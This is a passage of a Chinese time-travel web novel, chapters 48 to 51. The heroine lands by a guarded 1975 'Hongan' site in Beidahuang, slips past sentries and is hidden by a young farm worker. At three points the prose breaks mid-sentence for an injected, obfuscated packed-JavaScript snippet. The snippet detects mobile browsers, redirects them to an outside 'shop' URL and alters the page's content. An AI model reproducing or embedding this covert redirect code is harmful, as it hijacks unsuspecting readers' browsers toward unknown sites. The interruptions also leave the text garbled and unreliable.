树苗虚弱却尖厉的意念,如同被踩到尾巴的猫,猛地在她意识深处炸开!那意念里充满了前所未有的恐慌、抗拒,甚至是一丝被背叛的愤怒。 “那不是母亲!是……是印记的回响!被污染了!陷阱!” 树苗的意念艰难地组织着信息,指向光影蕾拉的脚下。林晚照凝神看去,才骇然发现,那看似纯净的银白光影下方,与时空乱流接触的边缘,隐约渗透着一丝丝极其淡薄、却让人极不舒服的暗红色纹路,如同血管般微微搏动。若不仔细分辨,几乎与背景的斑斓乱流融为一体。 与此同时,树苗的意念拼命指向通道的另一个方向——那是在林晚照的侧后方,一片看似更加混乱、色彩更加深沉驳杂的乱流区域。在那里,它传递出一种强烈到几乎悲鸣的渴望与呼唤: “真正的路……母亲的印记……在引导……去那里!‘摇篮’的碎片……在呼唤……回家……带母亲回家……去1975年……北大荒……‘红岸’……” 1975年!北大荒!“红岸”! 这几个词如同惊雷,在林晚照混乱的脑海中劈开一道亮光!这不是她原本要去的“灯塔”安全节点,这是……通往过去的坐标?是她最初穿越而来的那个年代?那个她以为已经暂时远离的、属于“林晚照”的起点? 两个指引。前方是看似安全、通往未来组织“灯塔”的“蕾拉”幻影;侧后方是充满未知、通往1975年北大荒某个神秘地点“红岸”的、被树苗称为“真正道路”的乱流。 该信谁? “快过来,孩子。后面的污染要追上来了。”光影蕾拉的声音依旧温柔,但催促之意明显。她身后的通道远方,那暗红色的、带着邪恶共振波纹的“触手”(博士启动的“最终协议”引发的污染),果然如同有生命的藤蔓,正在斑斓的时空乱流中急速穿行、蔓延,所过之处,纯净的色彩被染上污浊的暗红,发出滋滋的侵蚀声。它们的目标很明显——这条通道,以及通道中的林晚照。 时间不多了! 林晚照的思维以前所未有的速度飞转。分析,必须快速分析! 信任光影蕾拉?理由:银镯共鸣;009号的安排看似合理;规避后方追兵的直接威胁。风险:树苗的激烈警告;光影下方那不易察觉的暗红纹路(污染?伪装?);“灯塔”本身目的未知,可能仍是囚禁或研究。 信任树苗?理由:树苗与蕾拉本源相连,对“母亲”印记的感应理应最真;它拼死警告;指引的目标是1975年,是她有根基、有了解的时代,且“北大荒”、“红岸”可能藏着蕾拉真正留下的“摇篮”碎片或信息。风险:前方可能是陷阱;后方追兵紧逼;1975年的“红岸”具体是什么?是否安全?穿越时空乱流本身的风险巨大。 她是林晚照。一个从1975年而来,带着现代灵魂,经历了末世残酷,又卷入时空迷局的穿越者。她的核心是什么?是求生,是掌握自身命运,是不做棋子! 去“灯塔”,看似安全,实则可能踏入一个更庞大、更无法挣脱的局中,将自己的秘密和自由完全交予一个陌生组织评估。她想起了博士的实验室,想起了“灯塔”肃清部队的冰冷指令——“处理”。 回1975年,虽然充满未知,甚至可能面临新的危险(北大荒的艰苦、“红岸”的神秘),但那是一个她已经开始熟悉、并且可以通过先知和努力一定程度上掌控的时代。更重要的是,那是树苗(蕾拉“最后的可能性”)强烈指引的方向,是“回家”的路。回家……带母亲(蕾拉的印记)回家……这意念中的孺慕与悲愿,深深触动了她内心某处。她自己,不也一直在寻找属于“林晚照”的归处吗? 电光石火间,她做出了决定。 “对不起,”她对着光影蕾拉,在意识中轻声说道,“我相信‘她’的选择。” 这个“她”,既是树苗,也是那个在囚笼中依旧眼神明亮的蕾拉,更是那个将“最后的可能性”送往远方的年轻蕾拉。 下一刻,林晚照爆发出此刻灵魂形态下所能调动的全部力量——不是攻击,而是驱动着自己,如同逆流而上的鱼,猛地撞向侧后方那片被树苗标记的、深沉混乱的时空乱流! “你!”光影蕾拉脸上的温柔微笑瞬间凝固,眼中闪过一丝难以置信,随即化为一种空洞的漠然,整个光影开始不稳定地闪烁,下方的暗红纹路骤然变得清晰,如同蠕动的血管。“愚蠢……你会迷失……被污染吞噬……”她的声音变得断续而扭曲。 林晚照不管不顾。她的“身体”冲入了那片色彩驳杂的乱流。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906169|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬间,巨大的撕扯感从四面八方传来!仿佛有无数只手在拉扯她的意识,无数混乱的画面和声音强行灌入:暴风雪中的垦荒号子、昏暗油灯下的密谈、金属仪器的嗡鸣、某种低沉如心跳的轰鸣……以及,始终萦绕的、树苗越来越清晰的指引: “这边……坚持……‘红岸’……坐标锚定……” 她感觉自己像狂涛中的一片叶子,随时会散架。银镯的光芒明灭不定,勉强护住她意识的核心。树苗的淡绿色脉络全力伸展,如同导航的罗盘,在混乱中执着地指向一个方向。 后方,暗红色的污染触手发出尖锐的呼啸,疯狂追来,它们似乎对这片乱流区域有所顾忌,速度稍缓,但依旧紧咬不舍。 就在林晚照感觉自己的意识即将被彻底撕碎、同化进无尽乱流时—— 前方,混乱的色彩突然被一道稳定、厚重、略带锈蚀感的暗红色光芒所取代!那光芒并非博士污染的暗红,而是一种更接近铁锈、历经风霜的沉暗红色,它构成了一个相对稳定的“洞口”。 洞口之外,传来的不再是虚无的乱流声,而是实实在在的、属于人间的声响:凛冽到能割裂耳膜的北风呼啸声、冻土被踩踏的嘎吱声、隐约的人声吆喝、还有……一种低沉、规律、仿佛大地脉搏般的机械震动声。 “就是那里!跳!” 树苗的意念充满了激动与决绝。 林晚照用尽最后一丝清明,朝着那暗红色的“洞口”,纵身一跃! “噗通!” 没有落在坚硬地面上,而是砸进了冰冷的、深及大腿的积雪之中! 彻骨的寒意瞬间穿透了半虚幻的灵魂状态,将她猛地“冻”回了实实在在的□□感知。剧痛、疲惫、寒冷……所有感官痛苦排山倒海般归来,让她差点当场晕厥。 她挣扎着抬起头,吐出呛入口鼻的雪沫。 眼前,是一片茫茫雪原,铅灰色的天空低垂,狂风卷着雪沫,打得人睁不开眼。远处,是起伏的、被白雪覆盖的荒原和稀疏的枯树林。而近处,就在她前方不到百米的地方—— 矗立着一座庞然大物。 那是由钢铁、混凝土和巨大天线构成的建筑群,风格粗犷而厚重,带着鲜明的时代烙印。最高的那座塔状建筑上,巨大的抛物面天线指向天空,在风雪中沉默矗立。暗红色的防锈漆是它主色调的一部分,在白雪映衬下格外醒目。建筑外围有铁丝网,隐约可见持枪巡逻的士兵身影,岗哨亭的灯光在暮色中昏黄闪烁。 这里戒备森严,透着一种与世隔绝的肃穆与神秘。 低沉的、规律性的机械震动声,正是从那些建筑深处传来。 一块半埋雪中的、字迹斑驳的铁牌,斜插在林晚照不远处的雪地里,上面残留着模糊的红色字体:“军事重地,严禁……”、“红岸……区……” 红岸! 她真的来到了1975年的北大荒!而且直接掉在了这个神秘“红岸”区域的边缘! 树苗的意念传来一阵虚弱的、如释重负的波动,随即陷入了更深的沉寂,似乎这次指引耗尽了它最后的力量。 然而,危机并未解除。 头顶上方,那片她跃出的“空中”,虽然看不见通道入口,但空间却开始不正常的扭曲、波动,隐隐透出令人不安的暗红色光泽——博士的污染,竟然也追踪着时空坐标,试图渗透进这个时代、这个地点! 更糟糕的是,最近处的一个岗哨,哨兵似乎被这边的动静惊动,灯光扫了过来,厉声的喝问穿过风雪传来: “什么人?!站住!不许动!” 风雪、军事禁区、追来的污染、虚弱的身体、警觉的哨兵…… 林晚照趴在冰冷的雪坑里,嘴角扯出一个比哭还难看的笑容。 得,刚出时空乱流,又入龙潭虎穴。 这“回家”的路,开局就是地狱难度啊。 49.雪原绝境与一杯热水 冰冷的雪沫灌进衣领的瞬间,林晚照被拉回了赤裸裸的现实。 疼。全身像是被重型卡车碾过,又像是每根骨头都被拆开重组。喉咙里堵着铁锈般的血腥气,每一次呼吸都牵扯着胸腔深处火辣辣的痛。左手腕的银镯黯淡无光,只剩一丝微温,如同即将熄灭的灰烬。意识深处的树苗更是沉寂得可怕,只有最微弱的绿色光点偶尔闪烁,证明它尚未彻底消散。 但这都不是最紧迫的。 “什么人?!站住!不许动!” 哨兵的喝问穿透风雪,带着属于这个时代、这个地点的特有严厉和不容置疑。探照灯的光柱刺破暮色雪幕,在她周围雪地上来回扫射,几次险些掠过她藏身的浅雪坑。脚步声踩着冻实的雪壳,咯吱咯吱,由远及近,不止一人。 军事禁区。1975年。北大荒。红岸。 这几个词组合在一起,代表着绝对的纪律、严格的保密和对外来者毫不留情的处置。她现在这副模样——衣着单薄古怪(虽经过末世磨损,但式样与这个时代截然不同),浑身血迹污泥,凭空出现在警戒线边缘的雪地里——无论怎么看,都像极了特务、逃犯或者精神不正常的危险分子。 一旦被抓住,审问、关押、甚至更糟糕的结局,几乎是可以预见的。她没有任何能证明身份的东西,也没有合理的解释。说自己是穿越的?从未来来的?那只会被当成疯子或敌人。 不能被抓! 这个念头压倒了身体的剧痛和疲惫。求生的本能,以及在末世和时空乱流中磨砺出的坚韧,让她的大脑在绝境中飞速运转。 探照灯再次扫来,她将脸更深地埋进冰冷的雪里,屏住呼吸。积雪多少能掩盖她异常的身形和衣着颜色。但这不是长久之计,哨兵在靠近,最多一两分钟,他们就会走到这个位置。 怎么办?冲进旁边稀疏的枯树林?以她现在的身体状况,在深雪中根本跑不远,反而会立刻暴露,引来更严厉的追捕和可能直接的开枪警告。装死?等哨兵走近检查时暴起制伏?且不说能否成功,袭击军人,在此时此地,是绝对的重罪。 似乎……无解。 就在绝望开始蔓延时,她眼角的余光,瞥见了头顶上方那片扭曲的、透出暗红光泽的空气。 博士的时空污染! 这东西像跗骨之蛆,竟然真的追踪坐标渗透了过来。虽然渗透的速度不快,范围也不大,仅限于她坠落点上方一小片区域,但那不祥的暗红色和隐隐散发出的、令人作呕的腐败能量气息,正在变得越来越明显。普通人或许暂时看不见,但林晚照能清晰地“感觉”到,那就像悬在头顶的、缓慢扩散的毒疮。 一个极端危险的念头,如同黑暗中划亮的火柴,猛地闪过她的脑海。 利用它! 这东西是这个时代绝对无法理解、也绝对无法容忍的“异常”。如果……如果能让哨兵们“发现”它,哪怕只是察觉到一丝不对劲,那么他们的注意力就很可能从搜索一个“可疑分子”,转移到处理这个更诡异、更超出常理的“现象”上! 风险极大。这污染本身极度危险,稍有不慎就可能被沾染,后果不堪设想。而且,如何“引导”哨兵发现它?她现在的状态,几乎无法主动做什么。 只能赌!赌这污染在渗透过程中,会自然产生一些可见的异象!赌哨兵足够警觉! 她小心翼翼,用尽全身力气,将原本蜷缩的身体,极其缓慢地,朝着远离污染正下方、但又靠近哨兵可能行进路线的侧后方,挪动了大约半米。这个动作让她眼前阵阵发黑,几乎晕厥,口中腥甜更甚。但必须拉开距离,避免自己成为污染和哨兵交火的中心。 就在她刚刚完成这个微小挪动的下一秒—— “嗤……” 一声轻微却尖锐的、仿佛烧红铁块落入冰水的声音,从她原先位置的上空传来。 那片扭曲的空气中,暗红光芒骤然一亮!几条肉眼可见的、细如发丝却红得妖异的“光线”,如同痉挛的血管,凭空出现,闪烁了几下,又倏地消失。伴随着光线出现的,是一股极其短暂、却让人头皮发麻的寒意和仿佛无数细碎低语的呢喃感。 这异象虽然只持续了不到两秒,但在寂静肃杀的雪原黄昏,在高度戒备的哨兵眼前,足够了! “那边!有情况!”最先靠近的哨兵猛地停住脚步,声音陡然拔高,充满了惊疑和警惕。他手中的枪口瞬间抬了起来,对准了异象出现的大致方位。后面跟上来的另一个哨兵也迅速做出反应,两人几乎背靠背,形成了简单的战术防御姿态,目光如鹰隼般扫视着那片看似空无一物的雪地上空。 “刚才那红光……你看见没?” “看见了!还有声音!邪门!” “保持警戒!小王,立刻向值班室报告,B区7号哨位东南方向约50米,发现不明发光现象和异响!请求支援和进一步指示!” “是!” 一名哨兵立刻蹲下,利用地形掩护,快速解下背着的步话机开始呼叫。另一名哨兵则持枪死死盯着那片区域,手指扣在扳机护圈上,身体绷紧如弓。 他们的注意力,完全被这突如其来的“超自然”现象吸引了过去。对于近在咫尺、埋在雪里仅半米之遥的林晚照,暂时无暇细致搜查。 林晚照心脏狂跳,不知是伤势还是紧张。赌对了第一步!污染自行显露了异常,吸引了哨兵的绝对关注。 但危机远未解除。支援马上就到,更专业的人员可能会携带仪器进行地毯式搜索,她依然暴露在极大的风险中。而且,头顶的污染还在缓慢渗透,那暗红的光泽似乎更浓了一些,下一次异象何时出现、规模多大,完全无法预料。 必须离开这里!趁现在! 她开始用更慢、更轻微的动作,像一只重伤的雪狐,利用哨兵注意力被吸引、以及渐浓暮色和风雪的掩护,一点一点,朝着与哨位和污染区域都相反的方向,横向蠕动。每挪动一寸,都伴随着肌肉撕裂般的痛楚和冰冷雪水浸透衣物的刺骨寒意。她咬紧牙关,下唇被咬出血痕,混合着雪水,咸腥一片。 不能停。停下就是死,或者比死更糟。 十厘米……二十厘米……一米…… 身后的哨兵还在紧张地通话和观察,步话机里传来嘈杂的电流声和上级的询问。风雪似乎更大了一些,卷起的雪沫更好地掩盖了她蠕动时在雪面上留下的极浅痕迹。 就在她感觉自己快要力竭,意识又开始模糊的时候,她的手,在厚厚的积雪下,触摸到了一个坚硬、冰凉、有规则边缘的东西。 不是石头。像是……木板? 她用尽最后一点力气,扒开覆盖的积雪。 是一个半埋在土坡下的、废弃的排水涵洞入口!洞口不大,被腐朽的木板和杂物部分堵塞,但缝隙足以让一个人勉强挤进去。里面黑洞洞的,不知深浅,散发出泥土和霉菌的气味。 绝处逢生! 没有丝毫犹豫,林晚照用肩膀顶开松动的木板杂物,不顾可能存在的危险(野兽、塌方?),将自己伤痕累累的身体,一点点塞进了那个狭小、黑暗、冰冷的洞口。 进入洞内几米,光线几乎完全消失。她瘫倒在冰冷潮湿的泥地上,剧烈地喘息,每一次呼吸都带着破风箱般的声音。暂时安全了。至少,暂时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16909307|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躲开了哨兵的视线。 洞外,风声、隐约的人声、步话机的声音混杂。支援似乎已经到了,手电的光柱在外面雪地上晃动。 她不敢放松,蜷缩在洞壁角落,全力收敛气息,同时拼命压榨着几乎干涸的精神力,试图沟通灵泉空间。哪怕只是一滴灵泉水,也能缓解她濒临崩溃的身体状况,增加一丝活下去的希望。 然而,空间依旧死寂,仿佛耗尽了力量。只有左手腕的银镯,传来一丝微弱到几乎无法察觉的暖意,似乎在回应她的呼唤,却无法提供实质帮助。 时间在黑暗中缓慢流逝。不知过了多久,外面的人声和动静渐渐远去、消失。哨兵和支援部队似乎将排查重点放在了污染显现的那片区域,并可能因为未再发现异常而扩大了搜索范围,暂时没有注意到这个隐蔽的废弃涵洞。 极度的寒冷、伤痛和疲惫如同潮水般涌来,将她淹没。意识沉沉浮浮,她感觉自己像一块正在冻结的石头。 不能睡……睡了可能就再也醒不过来了…… 就在她眼皮越来越重,即将彻底失去意识的前一刻—— “吱呀。” 涵洞深处,并非她进来的方向,传来了极其轻微的、像是老旧木门被推开的声音。 紧接着,一点昏黄摇曳的光晕,从涵洞更深处的拐角,慢慢移动过来。 灯光! 有人! 林晚照全身瞬间绷紧,残存的求生欲让她摸向腰间——空空如也,连块像样的石头都没有。她只能死死盯住光晕来的方向,将身体尽可能缩进阴影。 脚步声很轻,带着迟疑。光晕越来越近,照亮了涵洞凹凸不平的墙壁。 终于,一个身影出现在拐角。 提着马灯。 灯光映出一张脸,出乎意料的年轻,甚至带着些许未脱的稚气,穿着臃肿的、打着补丁的棉军大衣,戴着厚厚的棉帽,脸颊冻得通红。看打扮,不像是正式军人,更像是……附近的知青,或者建设兵团的青年职工? 他显然也没想到涵洞里有人,尤其是林晚照这样一副狼狈骇人的样子。他吓得猛地后退一步,马灯剧烈晃动,差点脱手。眼神里充满了惊愕、警惕,还有一丝不易察觉的同情。 两人在昏黄的光线下,隔着几米距离,无声地对峙了几秒钟。 年轻男人先开了口,声音有些干涩,带着浓重的东北口音,语气小心翼翼,又有着这个年代青年人特有的、对“异常”事物的高度警惕: “你……你是啥人?咋在这儿?外面刚才闹腾,跟你有关系不?” 林晚照大脑飞速转动。这个人看起来不像军人,更像偶然发现此地的普通人。是敌是友?他会不会去告发? 她张了张嘴,却发现喉咙嘶哑得几乎发不出声音,只挤出一点气音。 年轻男人看着她惨白的脸、破裂的嘴唇和身上狼狈的痕迹,眼中的警惕稍稍被担忧取代了一些。他犹豫了一下,没有继续追问,而是解下腰间挂着的一个旧军用水壶,拧开盖子,往前稍稍递了递。 “俺是前面三连开荒队的,叫赵卫国。你……你先喝点热水吧,俺刚打的,还温乎。” 热水。 在这个冰冷刺骨、绝境求生的雪夜,这个词,仿佛带着魔力。 林晚照看着那递过来的水壶,看着年轻男人脸上那混杂着警惕、困惑和最基本善意的神情,紧绷到极致的神经,忽然松了那么一丝丝。 她伸出手,颤抖着,接过了那个还带着体温的水壶。 杯水车薪,前路未卜。 但至少,在这一刻,她抓住了一丝人间的温热。 50.冻土上的第一缕烟火 温热的水流划过干涸刺痛的喉咙,带来一阵短暂的慰藉,随即被更猛烈的咳嗽取代。林晚照咳得蜷缩起来,五脏六腑都跟着抽搐,额角渗出虚汗,在昏黄的马灯光晕下显得格外惨白。 赵卫国蹲在几步外,没再靠近,眉头拧得死紧,眼神里的警惕和同情在激烈拉锯。他目光扫过林晚照身上明显不合时宜、沾满血污泥泞的夹克衫(末世遗留,经过磨损但款式仍显奇异),落在她冻得青紫、布满细小伤口的手上,最后停在她左手腕那只黯淡无光、却样式古朴的银镯上。 “同志,你……你这到底是咋回事?”他声音压低了些,带着这个时代青年人特有的、对“异常”事物既好奇又不安的探究,“外头刚才动静不小,兵站的同志都出动了,说是发现了可疑……现象。”他没直接说“特务”或者“敌情”,但话里的意思很明显。 林晚照止住咳嗽,喘息着,大脑以前所未有的速度运转。疼痛和虚弱干扰着她的思维,但求生的本能迫使她冷静。解释?怎么解释?说自己是穿越的?从未来被追杀过来的?那只会被当成疯子或阶级敌人。必须有一个符合这个时代逻辑、至少能暂时糊弄过去的说辞。 她抬起头,借着灯光仔细打量赵卫国。年轻,不会超过二十岁,脸庞被北方的风霜刻下些许粗糙的痕迹,但眼神底色还是朴实的,甚至带着点未经世事的耿直。棉军大衣洗得发白,肘部膝盖打着厚实的补丁,针脚细密,像是自己或亲近的人缝的。一个普通的、可能心眼不算太复杂的建设兵团青年。 赌一把。 她咽下喉间的腥甜,刻意让声音显得更嘶哑虚弱,断断续续地开口,语速缓慢,仿佛每说一个字都耗费极大心力: “我……我是南边来的知青……本来该去黑河那边插队……路上,车坏了,又遇到暴风雪,跟队伍走散了……迷了路,不知怎么……就走到这儿了……摔了几跤,衣服也刮破了……” 她省略了所有无法解释的部分,只提供一个模糊的、符合“知识青年上山下乡”时代背景的框架。南边来的——口音勉强可以解释(她尽量模仿普通话,带点南方腔调);知青——解释身份;走散迷路——解释出现在此地的原因;摔伤——解释狼狈外表。 赵卫国没立刻相信,疑惑更重:“南边来的?知青?那你的行李呢?介绍信呢?还有……你这衣服……”他指了指她那件明显不是常规知青会穿的夹克。 “行李……在走散时丢了,可能被别的过路车捡了,或者埋雪里了。”林晚照垂下眼,语气带上恰到好处的懊丧和疲惫,“介绍信在行李里……衣服,是家里以前留下的旧式样,南方暖和,没厚衣服,就随便裹着上路了……” 这个解释很牵强,但在物资匮乏、什么东西都讲究传承和改造的年代,一件样式奇特的“旧衣服”并非完全说不通。 赵卫国盯着她看了好几秒,似乎在权衡。外面的风声似乎小了些,但远处隐约又传来一阵喧哗和犬吠,大概是搜索队在扩大范围。这声音让赵卫国神情一紧。 “你说你是知青,走散了。”他挠了挠头,显然有些为难,“可这儿是‘红岸’外围警戒区,一般人不让靠近。你出现在这儿,本身就……而且刚才外头那动静……”他欲言又止,显然对之前看到的异象和听到的部队反应心有余悸。 林晚照心一沉,知道最关键的时刻来了。她必须给出一个能让对方暂时放下疑虑、至少不会立刻把她交出去的理由。她深吸一口冰冷的空气,压下翻腾的气血,抬起眼,直视赵卫国,眼神努力聚焦,显得诚恳而无害: “赵……赵同志,我真的不知道这是哪儿。我就是又冷又饿又受伤,看见个洞就想钻进来躲躲风雪……我保证,我跟外头部队找的任何‘可疑’都没关系。我就是个走投无路的女知青。” 她顿了顿,声音更低了,带着一丝不易察觉的颤抖,这是身体真实的反应,恰好增强了话语的可信度,“你要是不信……可以把我交给部队……但我这样子,怕是没等到审问清楚,就先冻死病死了……” 示弱,但不卑微;给出合理解释,也点明最现实的危险——她此刻极度糟糕的身体状况是显而易见的。 赵卫国脸上的挣扎更明显了。他看看林晚照惨白的脸,又听听外面尚未完全平息的动静,最后目光落回自己那个被林晚照紧紧攥在手里的水壶上。半晌,他重重叹了口气,像是做出了什么艰难的决定。 “唉!这事儿闹的!”他搓了搓冻得通红的脸,“这样,俺先不能带你回俺们连队。你这来历说不清,万一真是……俺担不起责任。”他看到林晚照眼中一闪而过的失望,连忙补充,“但把你扔这儿不管,眼看着你出事,那也不是人干的事!” 他站起身,提起马灯四下照了照这个涵洞。“这废涵洞以前是排水用的,里头拐个弯,有个稍微干燥点的小凹洞,平时偶尔有跑丢的牲口躲进来。俺先把你挪到那儿去,总比在这风口强。俺回连队想想办法,看能不能……唉,至少给你弄点吃的和伤药来。” 这已是眼下最好的结果。林晚照点点头,想道谢,却只是动了动嘴唇。赵卫国上前,犹豫了一下,还是伸出手搀扶住她的胳膊。他的手掌宽大粗糙,很有力气,动作却带着一种小心翼翼的笨拙,尽量避开了她身上看起来伤得最重的地方。 短短几米的挪动,又几乎耗尽了林晚照刚攒起的一点力气。赵卫国说的那个小凹洞确实相对避风干燥一些,地上甚至铺着一些陈年的干草。他将林晚照安顿在那里,又把自己身上那件破旧的棉大衣脱下来,不由分说地盖在她身上。 “你先裹着,多少挡点寒。俺这大衣脏是脏了点,但厚实。”他穿着单薄的绒衣,忍不住打了个哆嗦,却摆摆手,“俺跑起来就热了。你等着,俺快去快回。记住,不管外头有啥动静,千万别出来!这附近巡逻的力度肯定加大了。” 他仔细地用一些杂物和干草稍微遮掩了一下凹洞的入口,提起马灯,又看了林晚照一眼,眼神复杂。“等着啊。”说完,他转身,敏捷而悄无声息地消失在了涵洞另一端的黑暗中。 涵洞里重归黑暗与寂静,只有风声在洞口呜咽。棉大衣带着年轻男人身上的体温和淡淡的汗味、泥土味、烟草味,混杂在一起,形成一种奇特的、属于人间的踏实感。林晚照蜷缩在干草堆里,裹紧大衣,冰冷的身体贪婪地汲取着这一点点暖意。 暂时安全了。但只是暂时的。赵卫国会不会改变主意?会不会带来别人?他口中的“想办法”到底是什么办法?外面部队的搜索会持续多久?头顶那渗透过来的时空污染……现在怎样了? 无数问题在脑中盘旋,但极度的疲惫和伤痛最终占据了上风。她强撑着最后一点意识,再次尝试沟通灵泉空间。这一次,不知道是因为暂时脱离了极度紧张的环境,还是因为赵卫国那杯热水和这件棉大衣带来了一丝生机,她竟然感觉到了一丝极其微弱的回应! 空间没有打开,但仿佛有一缕比发丝还细的、清凉的气息,从她意识深处那株沉寂的树苗(或者说与空间连接的点)中渗出,缓慢地浸润着她干涸剧痛的经脉。这气息太微弱,无法治疗伤势,却像一剂强效的镇静剂,让她火烧火燎的五脏六腑和即将崩溃的精神稍微平和了一些。 她能“看”到,树苗最核心的那点绿意,似乎比之前明亮了极其细微的一丝。是因为靠近了“红岸”?蕾拉留下的“摇篮”碎片在产生感应? 这个发现让她精神一振。希望,哪怕只有针尖那么大。 不知过了多久,就在她迷迷糊糊几乎要睡去时,洞口方向传来了极其轻微、却有节奏的叩击声——三长两短。 林晚照立刻清醒,屏住呼吸。 片刻,赵卫国的身影再次出现,手里除了马灯,还多了一个鼓鼓囊囊的旧挎包。他动作更轻更快,迅速来到凹洞前,扒开遮掩物。 “没惊动旁人。”他压低声音,语速很快,带着完成任务的如释重负和一丝隐秘的兴奋,“俺从食堂‘顺’了两个窝头,还热乎着;从卫生员那儿‘借’了点红汞、棉纱和消炎片,就说俺自己砍柴划伤了。还有这个——”他从挎包里掏出一个小铁罐,打开,里面是凝固的、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16909308|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猪油一样的东西,“獾子油,治冻伤磕伤可好使了,俺以前存的。” 他将东西一样样塞给林晚照,又变戏法似的拿出一个军用水壶,这次里面是更烫一点的热水。“赶紧,先吃点东西,处理下伤。这地方不能久待,明天天亮前巡逻肯定会查过来。俺想了,俺们连队后头有个废弃的看窝棚,以前看瓜用的,这两年荒了,离这儿不远,也偏。等后半夜,俺找机会带你过去,你先在那儿躲几天,养养伤,再从长计议。” 窝头粗糙噎人,但带着粮食最朴实的香气和温度。热水烫暖了肠胃。红汞涂抹在伤口上带来刺痛,獾子油油腻却有一种奇异的安抚感。赵卫国蹲在一旁,就着马灯光,笨手笨脚却又极其认真地帮她处理手臂上一处较深的划伤。 林晚照默默吃着,感受着食物带来的热力和身边这个陌生青年毫无保留(尽管可能有些鲁莽)的善意。在这个举目无亲、危机四伏的1975年北大荒雪夜,这份善意,比她曾经拥有的任何力量都更让她心头发颤。 “赵同志……谢谢你。”她声音依旧沙哑,却多了几分真实的温度。 赵卫国动作顿了顿,没抬头,耳根却有点红。“谢啥,毛主席教导我们,‘一切革命队伍的人都要互相关心,互相爱护,互相帮助’。再说了,你一个女同志,落难到这儿,能帮一把是一把。”他顿了顿,声音更低了,“不过……等你伤好点,有些事,咱还得说道说道。你这来历,总得有个能说得过去的说法才行。不然,早晚是麻烦。” 他说的是实话。林晚照点点头。“我明白。我会想办法。” 她必须尽快“制造”出一个合理的身份,融入这个时代。树苗对“红岸”的感应,或许就是切入点?但那是后话。 后半夜,风雪再度大了起来。赵卫国凭借着对地形的熟悉,搀扶着林晚照,深一脚浅一脚地在没膝的积雪中艰难行进,避开了可能有巡逻的路线,花了近一个小时,才来到他说的那个废弃看窝棚。 那是个低矮的土坯房子,屋顶茅草残破,门板歪斜,里面空空荡荡,积着厚厚的灰尘,但至少能挡风遮雪,比涵洞强多了。赵卫国显然提前来收拾过,角落铺了厚厚一层新干的麦草,甚至还用破砖头搭了个简易的灶坑,旁边堆着一些引火的柴禾。 “你先在这儿将就。吃的用的,俺隔天想办法给你送。白天千万别生火,烟囱冒烟会被发现。晚上要是冷得厉害,可以稍微点一小会儿,柴禾省着点用。”他事无巨细地交代着,像个操心的老农,“俺得赶紧回去了,天亮还得上工。” 林晚照站在破败却有了些许温度的窝棚里,看着赵卫国年轻而充满担忧的脸,千言万语堵在胸口,最终只化为一句:“你……一切小心。” 赵卫国咧咧嘴,想笑,却没笑出来,只重重地点了下头,转身再次没入风雪夜色之中。 窝棚里彻底安静下来。林晚照走到那铺着干草的角落,慢慢坐下。身体依旧疼痛虚弱,但有了食物、药品和暂时的安身之所,希望不再渺茫。她低头,看着左手腕的银镯,它依旧黯淡,但在她意念集中时,似乎能感觉到内里极细微的能量流动,与意识深处树苗那一点微弱的绿意,遥相呼应。 她望向窝棚破窗外的漆黑风雪,视线仿佛要穿透这严寒的夜色,投向不远处那个隐藏在雪原与神秘中的“红岸”。 蕾拉,你留下的“摇篮”碎片,真的在那里吗? 而此刻,在“红岸”基地内部,某间灯火通明、挂满地图和仪表的房间里,一名神色严肃的中年军官,正听着下属关于傍晚“异常光电现象”及周边初步搜索无果的汇报。他手指无意识地敲击着桌面,目光投向窗外风雪肆虐的荒原,眉头深锁。 “加强夜间巡逻密度,尤其是废弃设施和边缘地带。通知各连队指导员,提高警惕,留意任何可疑的外来人员或异常情况。”他沉声下令,“还有,气象站和监测台的数据,任何微小异常,第一时间报告。” “是!” 风雪掩埋了许多痕迹,但也让一些原本隐匿的东西,开始悄然浮现。 51.窝棚七日与无声的战场 窝棚的第一个黎明,是在冻透骨髓的寒意和全身伤痛的苏醒中到来的。 林晚照蜷在干草铺上,身上盖着赵卫国的棉大衣,却依旧感觉不到多少暖意。破败的土墙四处漏风,缝隙里灌进来的雪沫在墙角堆起小小的白色坟冢。她呼出的气息瞬间凝成白雾,睫毛上结了细霜。每一处伤口都在低温下发出尖锐的抗议,尤其是胸口和后背,每一次呼吸都像拉扯着断裂的肋骨。 